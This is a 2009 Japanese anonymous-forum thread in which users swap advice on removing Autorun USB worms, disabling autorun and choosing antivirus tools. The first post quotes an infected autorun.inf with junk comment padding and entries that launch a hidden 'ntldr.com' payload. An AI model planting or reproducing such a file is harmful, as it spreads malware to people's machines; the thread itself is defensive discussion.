Autorunにご注意

1 ：名無しさん＠お腹いっぱい。：2009/01/25(日) 16:04:28

中身

[autorun]
;kformojpovavpwiplgcvauxceiljlazxhcmedvjkcemuaywhclqs
shellexecute="resycled\ntldr.com c:"
;yunqwxapiotgiclxpbcwamahwrtnmiwblljkiycawcbhhormcjkwnvidlncwlvkzohjlgbeawfybzodjjswcizvpq
shell\Open\command="resycled\ntldr.com c:"
;ixulkgd

2 ：名無しさん＠お腹いっぱい。：2009/01/25(日) 16:16:31

確かにＣＯＭでは傷つけられた

3 ：名無しさん＠お腹いっぱい。：2009/01/25(日) 17:54:47

追記

aquaplayにやられたっぽい

4 ：名無しさん＠お腹いっぱい。：2009/01/28(水) 22:07:23

autorun.inf ぶち込まれていくらやっても消せなかったが
Ubuntu のCDブートからだと消せた

5 ：名無しさん＠お腹いっぱい。：2009/01/30(金) 21:56:46

セーフモードにして、コマンドプロンプトから、ＤＯＳコマンドで消せるよ～
ＤＯＳからだと隠しファイルも全部見えるよ。
そして、コマンドから怪しいファイルも削除可です。
attrib -r -s -h c:\autorun.inf
del c:\autorun.inf

ついでに怪しいファイルも上記の方法で削除です。
あっ～。DOSコマンドを少しかじってから、仕事した方がいいよ～
成功祈る(^^)V

6 ：名無しさん＠お腹いっぱい。：2009/01/31(土) 22:10:06

予防としてautorun.infと名づけた空ファイルを各HD直下とUSBメモリー直下においてる
読み取り専用
どこまで効果あるやら

7 ：名無しさん＠お腹いっぱい。：2009/02/01(日) 01:51:58

この対策が決定打？
http://blog.lucanian.net/archives/51199862.html
http://www.us-cert.gov/cas/techalerts/TA09-020A.html
http://d.hatena.ne.jp/hasegawayosuke/20090122/p1

8 ：名無しさん＠お腹いっぱい。：2009/02/01(日) 03:14:50

SUPERAntiSpywareで元から全て駆除できた
バスターはトロイのみに反応

9 ：名無しさん＠お腹いっぱい。：2009/02/02(月) 03:08:29

セガの車のゲームだっけ

10 ：名無しさん＠お腹いっぱい。：2009/02/04(水) 10:25:29

意　もんヽ、　 _,,._,,.....､､..､､､,,_　　　　　ヽ　　　　　　　　　　|　で
外　う？　 Yﾞ´　　　　　　　　 .},　　　　　ヽ　　　　　　　　　　 |
に　か　　　 |　　　　　　,.ｧぃぐ　　　　　　 lヽ､　　　　　　 |　出
早　い　　　 !　　ｧ')'ﾞ⌒´　　'ﾘヽ,　　　　　|　　　 / 　　　　 !　そ
い　？　　　{　　　ヾ、　 ,.､=ﾆﾃ‐ﾞﾚ　　　　　ｌ　　　|　　　　　　　|　う
ん　　　　 |.　　　　〉　'" ／{!　 .＼　　　〉　　|　　　　　　 / |　：
だ.　　　　 /,r‐-､　 /　　　￣´ 　　 `i.　　/ﾐlii;y′　　　　　/　ヽ＿／
な　　／ | !｀ﾄ,jｨ .`、　　　　　　　- 人　./;jl髭'　　　　　　/　　　　　 /
｀`Yﾞl￣　　ヽ, ぃ.ﾍ, ﾘ　　　　　　　 _ｽ　Yﾞ＾'>yﾞ　　　　　_,/　　　　／
　　　ヾ　　　　ヽ,_`{'′　　　　　　　ゞ､_)'ﾞ／ /　　　 _／"　　　　 .fﾞ
　　　　}　　　ﾙﾞ｀`ヽ　　　　　　　　,ｲ{　fﾞ　 /　　 /
.　　　 |　　;ﾙ′　　　 `‐､_　　　　　　| |　!　./　　 /

11 ：名無しさん＠お腹いっぱい。：2009/02/04(水) 23:07:11

>>3
おれはcoolplayにやられたぽい

12 ：名無しさん＠お腹いっぱい。：2009/02/05(木) 06:11:44

うちの会社のノートン先生
ネットワークのやつ防いでくれてないみたいなんだけど、
他に防いでるソフトあるのかな

13 ：名無しさん＠お腹いっぱい。：2009/02/05(木) 20:00:35

>>5
これでいけたよ　ありがとう！

14 ：名無しさん＠お腹いっぱい。：2009/02/05(木) 20:41:37

ノートンはだめだねー

15 ：名無しさん＠お腹いっぱい。：2009/02/08(日) 11:01:26

脳豚

16 ：名無しさん＠お腹いっぱい。：2009/02/08(日) 16:26:21

>>5
それで消せるんだけど、c:\windows\system32\mmvo.exeや
c:\windows\system32\revo.exeはまだ生き残ってたりする。

17 ：名無しさん＠お腹いっぱい。：2009/02/08(日) 21:16:25

うぅ、うちの大学、
autorunの亜種が次から次に湧いてきやがる。
avastでもclamwinでもantivirでも引っ掛からねぇ。
留学生め。

18 ：名無しさん＠お腹いっぱい。：2009/02/18(水) 05:45:57

脳豚

19 ：名無しさん＠お腹いっぱい。：2009/02/18(水) 20:08:46

Autorun.infを無効にする方法
[JVNTA09-020A: Microsoft Windows 自動実行機能の無効化における注意点]
http://jvn.jp/cert/JVNTA09-020A/

これは×↓

[外付けメモリ経由のウイルス感染に注意　種類は２０近くに（産経新聞） - Yahoo!ニュース]
http://headlines.yahoo.co.jp/hl?a=20090217-00000523-san-soci
>　ウイルス対策などを手掛けるトレンドマイクロ（東京都渋谷区）の広報担当、
>鰆目（さわらめ）順介さん（２５）は、パソコンの「ｓｈｉｆｔ」キーを押しながら、
>外付けメモリをパソコンに接続する方法を紹介する。
>こうすることで、外付けメモリ内のウイルスが自動再生することを防げるという。

20 ：名無しさん＠お腹いっぱい。：2009/02/21(土) 11:18:18

オートランが無効になると困るのはアプリのインスコ位だろ

21 ：名無しさん＠お腹いっぱい。：2009/02/21(土) 12:03:32

弟が他人から預かった出所不明のUSBメモリーを
無邪気に親のPCに差し込もうとしてたｗ
大学生の知識なんてこんなものなのかねー、学校で教えろよ

22 ：名無しさん＠お腹いっぱい。：2009/02/23(月) 23:18:03

書いてある通りやったけど
NoDriveTypeAutoRun
が出てこない。

23 ：名無しさん＠お腹いっぱい。：2009/02/24(火) 07:07:08

>>8
仕様です

24 ：名無しさん＠お腹いっぱい。：2009/04/10(金) 22:48:00

うちの学校にもわらわらいる。ierdfghだったな。
何かSystem Volume Information/システム復元ポイントの場所に増えやがる…

担当に頼んで、管理者権限にしてもらって、やり方解ったから削除してるが…不安だ…

25 ：名無しさん＠お腹いっぱい。：2009/11/26(木) 19:56:01

Autoran.cajってなに？
ＵＳＢメモリがバスターで引っかかったんだけど、ググっても正体がわからん。

とりあえず危なそう？